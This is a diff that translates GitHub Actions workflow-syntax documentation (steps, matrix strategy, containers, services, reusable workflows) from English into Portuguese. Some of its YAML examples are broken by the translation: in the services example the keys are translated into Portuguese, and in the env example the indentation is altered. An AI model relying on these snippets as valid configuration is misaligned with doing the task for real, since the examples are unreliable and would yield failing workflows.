 {% data reusables.actions.self-hosted-runners-software %}
 {% elsif fpt or ghec %}
-For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+Para informações sobre o software incluído nos executores hospedados no GitHub, consulte "[Especificações para os executores hospedados no GitHub](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
 {% endif %}
 
-### Exit codes and error action preference
+### Preferências de ação de erro e códigos de saída
 
-For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts.
+Para palavras-chave de shell integradas, fornecemos os seguintes padrões usados por executores hospedados no {% data variables.product.prodname_dotcom %}. Você deve seguir estas diretrizes quando executar scripts shell.
 
 - `bash`/`sh`:
-  - Fail-fast behavior using `set -eo pipefail`: Default for `bash` and built-in `shell`. It is also the default when you don't provide an option on non-Windows platforms.
-  - You can opt out of fail-fast and take full control by providing a template string to the shell options. For example, `bash {0}`.
-  - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code.
+  - Comportamento de falha rápido que usa `set -eo pipefail`: Padrão para `bash` e `shell` embutido. Também é o padrão quando você não der opção em plataformas que não sejam Windows.
+  - Você pode cancelar o fail-fast e assumir o controle fornecendo uma string de modelo para as opções do shell. Por exemplo, `bash {0}`.
+  - Shells do tipo sh saem com o código de saída do último comando executado em um script, que também é o comportamento padrão das ações. O executor relatará o status da etapa como falha/êxito com base nesse código de saída.
 
 - `powershell`/`pwsh`
-  - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents.
-  - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code.
-  - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need.
+  - Comportamento fail-fast quando possível. Para shell integrado `pwsh` e `powershell`, precederemos `$ErrorActionPreference = 'stop'` para conteúdos de script.
+  - Vincularemos `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` a scripts powershell para que os status da ação reflitam o código de saída mais recente do script.
+  - Os usuários podem sempre optar por não usar o shell integrado e fornecer uma opção personalizada, como: `pwsh -File {0}` ou `powershell -Command "& '{0}'"`, dependendo da situação.
 
 - `cmd`
-  - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script.
-  - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact.
+  - Parece não haver uma forma de optar totalmente por um comportamento fail-fast que não seja gravar seu script para verificar cada código de erro e reagir de acordo. Como não podemos fornecer esse comportamento por padrão, você precisa gravá-lo em seu script.
+  - `cmd.exe` sairá com o nível de erro do último programa que executou e retornará o código de erro para o executor. Este comportamento é internamente consistente o padrão de comportamento anterior `sh` e `pwsh`, e é o padrão `cmd.exe`; portanto, ele fica intacto.
 
 ## `jobs.<job_id>.steps[*].with`
 
-A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case.
+Um `map` (mapa) dos parâmetros de entrada definidos pela ação. Cada parâmetro de entrada é um par chave/valor. Parâmetros de entrada são definidos como variáveis de ambiente. A variável é precedida por `INPUT_` e convertida em letras maiúsculas.
 
-### Example
+### Exemplo
 
-Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables.
+Define os três parâmetros de entrada (`first_name`, `middle_name` e `last_name`) definidos pela ação `hello_world`. Essas variáveis de entrada estarão acessíveis para a ação `hello-world` como variáveis de ambiente `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME` e `INPUT_LAST_NAME`.
 
 ```yaml
 jobs:
@@ -1034,9 +1034,9 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].with.args`
 
-A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter.
+Uma `string` que define as entradas para um contêiner Docker. O {% data variables.product.prodname_dotcom %} entrega os `args` ao `ENTRYPOINT` do contêiner quando o contêiner inicia. Um `array de strings` não é compatível com esse parâmetro.
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -1049,17 +1049,17 @@ steps:
 ```
 {% endraw %}
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+`args` são usados em substituição à instrução `CMD` em um `Dockerfile`. Se você usar `CMD` no `Dockerfile`, use as diretrizes ordenadas por preferência:
 
-1. Document required arguments in the action's README and omit them from the `CMD` instruction.
-1. Use defaults that allow using the action without specifying any `args`.
-1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting.
+1. Documente os argumentos necessários no README das ações e omita-os da instrução `CMD`.
+1. Use padrões que permitam o uso da ação sem especificação de `args`.
+1. Se a ação expõe um sinalizador `--help` ou similar, use isso como padrão para que a ação se documente automaticamente.
 
 ## `jobs.<job_id>.steps[*].with.entrypoint`
 
-Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run.
+Anula o `ENTRYPOINT` Docker no `Dockerfile` ou define-o caso ainda não tenha sido especificado. Diferentemente da instrução Docker `ENTRYPOINT` que tem um formulário shell e exec, a palavra-chave `entrypoint` aceita apena uma única string que define o executável.
 
-### Example
+### Exemplo
 
 ```yaml
 steps:
@@ -1069,62 +1069,62 @@ steps:
       entrypoint: /a/different/executable
 ```
 
-The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs.
+A palavra-chave `entrypoint` é para ser usada com ações de contêiner Docker, mas você também pode usá-la com ações JavaScript que não definem nenhuma entrada.
 
 ## `jobs.<job_id>.steps[*].env`
 
-Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs.<job_id>.env`](#jobsjob_idenv).
+Define variáveis de ambiente para etapas a serem usadas no ambiente do executor. Também é possível definir variáveis de ambiente para todo o fluxo de trabalho ou para um trabalho. Para obter mais informações, consulte [`env`](#env) e [`jobs.<job_id>.env`](#jobsjob_idenv).
 
 {% data reusables.repositories.actions-env-var-note %}
 
-Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
+Ações públicas podem especificar variáveis de ambiente esperadas no arquivo LEIAME. Se você está configurando um segredo em uma variável de ambiente, use o contexto `secrets`. Para obter mais informações, consulte "[Usando variáveis de ambiente](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" e "[Contextos](/actions/learn-github-actions/contexts)".
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
 steps:
-  - name: My first action
-    env:
-      GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-      FIRST_NAME: Mona
-      LAST_NAME: Octocat
+ - name: minha primeira ação
+  env:
+    GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+    FIRST_NAME: Mona
+    LAST_NAME: Octocat
 ```
 {% endraw %}
 
 ## `jobs.<job_id>.steps[*].continue-on-error`
 
-Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails.
+Impede a falha de um trabalho se uma etapa não funcionar. Defina `true` (verdadeiro) para permitir que um trabalho aconteça quando essa etapa falhar.
 
 ## `jobs.<job_id>.steps[*].timeout-minutes`
 
-The maximum number of minutes to run the step before killing the process.
+Número máximo de minutos para executar a etapa antes de interromper o processo.
 
 ## `jobs.<job_id>.timeout-minutes`
 
-The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360
+Número máximo de minutos para permitir a execução de um trabalho o antes que o {% data variables.product.prodname_dotcom %} o cancele automaticamente. Padrão: 360
 
-If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+Se o tempo-limite exceder o tempo limite de execução do trabalho para o runner, o trabalho será cancelada quando o tempo limite de execução for atingido. Para obter mais informações sobre o limite de tempo de execução do trabalho, consulte {% ifversion fpt or ghec or ghes %}"[Limites de uso e cobrança](/actions/reference/usage-limits-billing-and-administration#usage-limits)" para executores hospedados em {% data variables.product.prodname_dotcom %} e {% endif %}"[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" para limites de uso de executores auto-hospedados.{% elsif ghae %}."{% endif %}
 
 ## `jobs.<job_id>.strategy`
 
-A strategy creates a build matrix for your jobs. You can define different variations to run each job in.
+Estratégias criam matrizes de compilação para os trabalhos. Você pode definir variações diferentes variações nas quais executar os trabalhos.
 
 ## `jobs.<job_id>.strategy.matrix`
 
-You can define a matrix of different job configurations. A matrix allows you to create multiple jobs by performing variable substitution in a single job definition. For example, you can use a matrix to create jobs for more than one supported version of a programming language, operating system, or tool. A matrix reuses the job's configuration and creates a job for each matrix you configure.
+Você pode definir uma matriz de diferentes configurações de trabalho. Uma matriz permite que você crie vários trabalhos que realizam a substituição de variável em uma definição de trabalho único. Por exemplo, você pode usar uma matriz para criar trabalhos para mais de uma versão compatível de uma linguagem de programação, sistema operacional ou ferramenta. Uma matriz reutiliza a configuração do trabalho e cria trabalho para cada matriz que você configurar.
 
 {% data reusables.github-actions.usage-matrix-limits %}
 
-Each option you define in the `matrix` has a key and value. The keys you define become properties in the `matrix` context and you can reference the property in other areas of your workflow file. For example, if you define the key `os` that contains an array of operating systems, you can use the `matrix.os` property as the value of the `runs-on` keyword to create a job for each operating system. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+Cada opção que você define na `matriz` tem uma chave e um valor. As chaves que você define tornam-se propriedades no contexto da `matriz` e você pode fazer referência à propriedade em outras áreas do seu arquivo de fluxo de trabalho. Por exemplo, se você definir a chave `os` que contém um array de sistemas operacionais, você poderá usar a propriedade `matrix.os` como o valor da palavra-chave `runs-on` para criar um trabalho para cada sistema operacional. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts)".
 
-The order that you define a `matrix` matters. The first option you define will be the first job that runs in your workflow.
+A ordem que você define uma `matriz` importa. A primeira opção que você definir será a primeira que será executada no seu fluxo de trabalho.
 
-### Example: Running multiple versions of Node.js
+### Exemplo: Executando várias versões do Node.js
 
-You can specify a matrix by supplying an array for the configuration options. For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`.
+Você pode especificar uma matriz ao fornecer um array para as opções de configuração. Por exemplo, se o executor for compatível com as versões 10, 12 e 14 do Node.js, você poderá especificar uma matriz dessas versões na `matriz`.
 
-This example creates a matrix of three jobs by setting the `node` key to an array of three Node.js versions. To use the matrix, the example sets the `matrix.node` context property as the value of the `setup-node` action's input parameter `node-version`. As a result, three jobs will run, each using a different Node.js version.
+Este exemplo cria uma matriz de três trabalhos, definindo a chave `nó` para um array de três versões do Node.js. Para usar a matriz, o exemplo define a propriedade do contexto `matrix.node` como o valor do parâmetro `setup-node` de entrada da ação `node-version`. Como resultado, três trabalhos serão executados, cada uma usando uma versão diferente do Node.js.
 
 {% raw %}
 ```yaml
@@ -1140,14 +1140,14 @@ steps:
 ```
 {% endraw %}
 
-The `setup-node` action is the recommended way to configure a Node.js version when using {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see the [`setup-node`](https://github.com/actions/setup-node) action.
+A ação setup-node `` é a forma recomendada de configurar uma versão do Node.js ao usar executores hospedados em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte a ação [`setup-node`](https://github.com/actions/setup-node).
 
-### Example: Running with multiple operating systems
+### Exemplo: Executando com vários sistemas operacionais
 
-You can create a matrix to run workflows on more than one runner operating system. You can also specify more than one matrix configuration. This example creates a matrix of 6 jobs:
+Você pode criar uma matriz para executar fluxos de trabalho em mais de um sistema operacional do executor. Você também pode especificar mais de uma configuração da matriz. Este exemplo cria uma matriz de 6 trabalhos:
 
-- 2 operating systems specified in the `os` array
-- 3 Node.js versions specified in the `node` array
+- 2 sistemas operacionais especificados na array `os`
+- 3 versões do Node.js especificadas na array do `nó`
 
 {% data reusables.repositories.actions-matrix-builds-os %}
 
@@ -1166,13 +1166,13 @@ steps:
 {% endraw %}
 
 {% ifversion ghae %}
-For more information about the configuration of self-hosted runners, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
-{% else %}To find supported configuration options for {% data variables.product.prodname_dotcom %}-hosted runners, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
+Para obter mais informações sobre a configuração de executores auto-hospedados, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+{% else %}Para encontrar opções de configuração compatíveis com executores hospedados em {% data variables.product.prodname_dotcom %}, consulte "[Ambientes virtuais para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
 {% endif %}
 
-### Example: Including additional values into combinations
+### Exemplo: Incluindo valores adicionais em combinações
 
-You can add additional configuration options to a build matrix job that already exists. For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option.
+Você pode adicionar opções de configurações para um trabalho de matriz de compilação existente. Por exemplo, se você quer usar uma versão específica do `npm` quando o trabalho que usa o `windows-latest` e a versão 8 do `nó` é executado, você pode usar `incluir` para especificar a opção adicional.
 
 {% raw %}
 ```yaml
@@ -1190,9 +1190,9 @@ strategy:
 ```
 {% endraw %}
 
-### Example: Including new combinations
+### Exemplo: Incluindo novas combinações
 
-You can use `include` to add new jobs to a build matrix. Any unmatched include configurations are added to the matrix. For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job.
+Você pode usar `incluir` para adicionar novos trabalhos a uma matriz de criação. Qualquer configuração sem correspondência de incluir será adicionadas à matriz. Por exemplo, se você quiser usar a versão 14 do `nó` para compilar em vários sistemas operacionais, mas quiser uma tarefa experimental extra a versão 15 do nó no Ubuntu, você poderá usar `incluir` para especificar essa tarefa adicional.
 
 {% raw %}
 ```yaml
@@ -1208,9 +1208,9 @@ strategy:
 ```
 {% endraw %}
 
-### Example: Excluding configurations from a matrix
+### Exemplo: Excluindo configurações de uma matriz
 
-You can remove a specific configurations defined in the build matrix using the `exclude` option. Using `exclude` removes a job defined by the build matrix. The number of jobs is the cross product of the number of operating systems (`os`) included in the arrays you provide, minus any subtractions (`exclude`).
+Você pode remover uma configuração específica definida na matriz de compilação usando a opção `exclude` (excluir). `exclude` remove um trabalho definido pela matriz de compilação. O número de trabalhos é o produto cruzado do número de sistemas operacionais (`os`) incluídos nos arrays fornecidos por você, menos quaisquer subtrações (`exclude`).
 
 {% raw %}
 ```yaml
@@ -1228,23 +1228,23 @@ strategy:
 
 {% note %}
 
-**Note:** All `include` combinations are processed after `exclude`. This allows you to use `include` to add back combinations that were previously excluded.
+**Observação:** Todas as combinações de `incluir` são processadas depois de `excluir`. Isso permite que você use `incluir` para voltar a adicionar combinações que foram excluídas anteriormente.
 
 {% endnote %}
 
-#### Using environment variables in a matrix
+#### Usando variáveis de ambiente em uma matriz
 
-You can add custom environment variables for each test combination by using the `include` key. You can then refer to the custom environment variables in a later step.
+Você pode adicionar variáveis de ambiente personalizadas para cada combinação de testes usando a chave `include`. Em seguida, você pode se referir às variáveis de ambiente personalizadas em um passo posterior.
 
 {% data reusables.github-actions.matrix-variable-example %}
 
 ## `jobs.<job_id>.strategy.fail-fast`
 
-When set to `true`, {% data variables.product.prodname_dotcom %} cancels all in-progress jobs if any `matrix` job fails. Default: `true`
+Quando definido como `true`, o {% data variables.product.prodname_dotcom %} cancela todos os trabalhos em andamento em caso de falha de algum trabalho de  `matrix`. Padrão: `true`
 
 ## `jobs.<job_id>.strategy.max-parallel`
 
-The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. By default, {% data variables.product.prodname_dotcom %} will maximize the number of jobs run in parallel depending on the available runners on {% data variables.product.prodname_dotcom %}-hosted virtual machines.
+Número máximo de trabalhos que podem ser executados simultaneamente ao usar uma estratégia de trabalho de `matrix`. Por padrão, o {% data variables.product.prodname_dotcom %} maximizará o número de trabalhos executados em paralelo dependendo dos executores disponíveis nas máquinas virtuais hospedadas no {% data variables.product.prodname_dotcom %}.
 
 ```yaml
 strategy:
@@ -1253,11 +1253,11 @@ strategy:
 
 ## `jobs.<job_id>.continue-on-error`
 
-Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails.
+Impede que ocorra falha na execução de um fluxo de trabalho quando ocorrer uma falha em um trabalho. Defina como `verdadeiro` para permitir que uma execução de um fluxo de trabalho passe quando este trabalho falhar.
 
-### Example: Preventing a specific failing matrix job from failing a workflow run
+### Exemplo: Evitando uma falha específica na matriz de trabalho por falha na execução de um fluxo de trabalho
 
-You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run.
+Você pode permitir que as tarefas específicas em uma matriz de tarefas falhem sem que ocorra falha na execução do fluxo de trabalho. Por exemplo, se você deseja permitir apenas um trabalho experimental com o `nó` definido como `15` sem falhar a execução do fluxo de trabalho.
 
 {% raw %}
 ```yaml
@@ -1278,11 +1278,11 @@ strategy:
 
 ## `jobs.<job_id>.container`
 
-A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts.
+Contêiner para executar qualquer etapa em um trabalho que ainda não tenha especificado um contêiner. Se você tiver etapas que usam ações de script e de contêiner, as ações de contêiner serão executadas como contêineres irmãos na mesma rede e com as mesmas montagens de volume.
 
-If you do not set a `container`, all steps will run directly on the host specified by `runs-on` unless a step refers to an action configured to run in a container.
+Se você não definir um `container`, todas as etapas serão executadas diretamente no host especificado por `runs-on`, a menos que uma etapa se refira a uma ação configurada para execução em um contêiner.
 
-### Example
+### Exemplo
 
 ```yaml
 jobs:
@@ -1298,7 +1298,7 @@ jobs:
       options: --cpus 1
 ```
 
-When you only specify a container image, you can omit the `image` keyword.
+Ao especificar somente uma imagem de contêiner, você pode omitir a palavra-chave `image`.
 
 ```yaml
 jobs:
@@ -1308,13 +1308,13 @@ jobs:
 
 ## `jobs.<job_id>.container.image`
 
-The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a  registry name.
+Imagem Docker a ser usada como contêiner para executar a ação. O valor pode ser o nome da imagem do Docker Hub ou um nome de registro.
 
 ## `jobs.<job_id>.container.credentials`
 
 {% data reusables.actions.registry-credentials %}
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -1328,23 +1328,23 @@ container:
 
 ## `jobs.<job_id>.container.env`
 
-Sets a `map` of environment variables in the container.
+Define um `mapa` das variáveis de ambiente no contêiner.
 
 ## `jobs.<job_id>.container.ports`
 
-Sets an `array` of ports to expose on the container.
+Define um `array` de portas para expor no contêiner.
 
 ## `jobs.<job_id>.container.volumes`
 
-Sets an `array` of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+Define um `array` de volumes para uso do contêiner. É possível usar volumes para compartilhar dados entre serviços ou outras etapas em um trabalho. Você pode especificar volumes de nome Docker, volumes Docker anônimos ou vincular montagens no host.
 
-To specify a volume, you specify the source and destination path:
+Para especificar um volume, especifique o caminho de origem e destino:
 
 `<source>:<destinationPath>`.
 
-The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+`<source>` é um nome de volume ou caminho absoluto na máquina host, e `<destinationPath>` é um caminho absoluto no contêiner.
 
-### Example
+### Exemplo
 
 ```yaml
 volumes:
@@ -1355,11 +1355,11 @@ volumes:
 
 ## `jobs.<job_id>.container.options`
 
-Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+Opções adicionais de recursos do contêiner Docker. Para obter uma lista de opções, consulte "[opções `docker create`](https://docs.docker.com/engine/reference/commandline/create/#options)".
 
 {% warning %}
 
-**Warning:** The `--network` option is not supported.
+**Aviso:** A opção `--network` não é compatível.
 
 {% endwarning %}
 
@@ -1367,41 +1367,41 @@ Additional Docker container resource options. For a list of options, see "[`dock
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner  automatically creates a Docker network and manages the life cycle of the service containers.
+Usado para hospedar contêineres de serviço para um trabalho em um fluxo de trabalho. Contêineres de serviço são úteis para a criação de bancos de dados ou serviços armazenamento em cache como o Redis. O executor cria automaticamente uma rede do Docker e gerencia o ciclo de vida dos contêineres do serviço.
 
-If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow.
+Se você configurar seu trabalho para ser executado em um contêiner, ou a sua etapa usar ações ao contêiner, você não precisará mapear as portas para acessar o serviço ou a ação. O Docker expõe automaticamente todas as portas entre os contêineres da mesma rede de ponte definida pelo usuário. Você pode fazer referência ao contêiner de serviço diretamente pelo seu nome de host. O nome do host é mapeado automaticamente com o nome da etiqueta que você configurar para o serviço no fluxo de trabalho.
 
-If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port.
+Se você configurar a tarefa para executar diretamente na máquina do executor e sua etapa não usar uma ação de contêiner, você deverá mapear todas as portas de contêiner de serviço do Docker necessárias para o host do Docker (a máquina do executor). Você pode acessar o contêiner de serviço usando host local e a porta mapeada.
 
-For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)."
+Para obter mais informações sobre as diferenças entre os contêineres de serviço de rede, consulte "[Sobre contêineres de serviço](/actions/automating-your-workflow-with-github-actions/about-service-containers)".
 
-### Example: Using localhost
+### Exemplo: Usando host local
 
-This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts.
+Este exemplo cria dois serviços: nginx e redis. Ao especificar a porta do host do Docker mas não a porta do contêiner, a porta do contêiner será atribuída aleatoriamente a uma porta livre. O {% data variables.product.prodname_dotcom %} define a porta de contêiner atribuída no contexto {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %}. Neste exemplo, você pode acessar as portas do contêiner de serviço usando os contextos {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} e {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %}.
 
 ```yaml
-services:
+serviços:
   nginx:
-    image: nginx
-    # Map port 8080 on the Docker host to port 80 on the nginx container
-    ports:
+    imagem: nginx
+    # Mapeia a porta 8080 no host do Docker com a porta 80 no contêiner nginx
+    portas:
       - 8080:80
   redis:
-    image: redis
-    # Map TCP port 6379 on Docker host to a random free port on the Redis container
-    ports:
+    imagem: redis
+    # Mapeia a porta  port 6379 TCP no host do Docker com uma porta livre aleatória no contêiner Redis
+    portas:
       - 6379/tcp
 ```
 
 ## `jobs.<job_id>.services.<service_id>.image`
 
-The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a  registry name.
+Imagem Docker a ser usada como contêiner de serviço para executar a ação. O valor pode ser o nome da imagem do Docker Hub ou um nome de registro.
 
 ## `jobs.<job_id>.services.<service_id>.credentials`
 
 {% data reusables.actions.registry-credentials %}
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -1421,23 +1421,23 @@ services:
 
 ## `jobs.<job_id>.services.<service_id>.env`
 
-Sets a `map` of environment variables in the service container.
+Define um `maá` das variáveis de ambiente no contêiner do serviço.
 
 ## `jobs.<job_id>.services.<service_id>.ports`
 
-Sets an `array` of ports to expose on the service container.
+Define um `array` de portas para expor no contêiner de serviço.
 
 ## `jobs.<job_id>.services.<service_id>.volumes`
 
-Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+Define um `array` de volumes para uso do contêiner de serviço. É possível usar volumes para compartilhar dados entre serviços ou outras etapas em um trabalho. Você pode especificar volumes de nome Docker, volumes Docker anônimos ou vincular montagens no host.
 
-To specify a volume, you specify the source and destination path:
+Para especificar um volume, especifique o caminho de origem e destino:
 
 `<source>:<destinationPath>`.
 
-The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+`<source>` é um nome de volume ou caminho absoluto na máquina host, e `<destinationPath>` é um caminho absoluto no contêiner.
 
-### Example
+### Exemplo
 
 ```yaml
 volumes:
@@ -1448,38 +1448,38 @@ volumes:
 
 ## `jobs.<job_id>.services.<service_id>.options`
 
-Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+Opções adicionais de recursos do contêiner Docker. Para obter uma lista de opções, consulte "[opções `docker create`](https://docs.docker.com/engine/reference/commandline/create/#options)".
 
 {% warning %}
 
-**Warning:** The `--network` option is not supported.
+**Aviso:** A opção `--network` não é compatível.
 
 {% endwarning %}
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `jobs.<job_id>.uses`
 
-The location and version of a reusable workflow file to run as a job. 
+O local e a versão de um arquivo de fluxo de trabalho reutilizável para ser executado como job.
 
 `{owner}/{repo}/{path}/{filename}@{ref}`
 
-`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)."
+`{ref}` pode ser um SHA, uma tag de de versão ou um nome de branch. Usar o commit SHA é o mais seguro para a estabilidade e segurança. Para obter mais informações, consulte "[Enrijecimento de segurança para o GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)".
 
-### Example
+### Exemplo
 
 {% data reusables.actions.uses-keyword-example %}
 
-For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 
 ## `jobs.<job_id>.with`
 
-When a job is used to call a reusable workflow, you can use `with` to provide a map of inputs that are passed to the called workflow.
+Quando um trabalho é usado para chamar um fluxo de trabalho reutilizável, você pode usar `com` para fornecer um mapa de entradas que são passadas para o fluxo de trabalho de chamada.
 
-Any inputs that you pass must match the input specifications defined in the called workflow.
+Qualquer entrada que você passe deve corresponder às especificações de entrada definidas no fluxo de trabalho de chamada.
 
-Unlike [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs.<job_id>.with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context.
+Diferentemente de [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), as entradas que você passar com `jobs.<job_id>.with` não estão disponíveis como variáveis de ambiente no fluxo de trabalho de chamada. Ao invés disso, você pode fazer referência às entradas usando o contexto `entrada`.
 
-### Example
+### Exemplo
 
 ```yaml
 jobs:
@@ -1491,17 +1491,17 @@ jobs:
 
 ## `jobs.<job_id>.with.<input_id>`
 
-A pair consisting of a string identifier for the input and the value of the input. The identifier must match the name of an input defined by [`on.workflow_call.inputs.<inputs_id>`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) in the called workflow. The data type of the value must match the type defined by [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype) in the called workflow.
+Um par composto de um identificador de string para a entrada e o valor da entrada. O identificador deve corresponder ao nome de uma entrada definida por [`on.workflow_call.inputs.<inputs_id>`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) no fluxo de trabalho chamado. O tipo de dado do valor deve corresponder ao tipo definido por [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype) no fluxo de trabalho chamado.
 
-Allowed expression contexts: `github`, and `needs`.
+Contextos de expressão permitidos: `github` e `needs`.
 
 ## `jobs.<job_id>.secrets`
 
-When a job is used to call a reusable workflow, you can use `secrets` to provide a map of secrets that are passed to the called workflow.
+Quando um trabalho é usado para chamar um fluxo de trabalho reutilizável, você pode usar `segredos` para fornecer um mapa de segredos que foram passados para o fluxo de trabalho chamado.
 
-Any secrets that you pass must match the names defined in the called workflow.
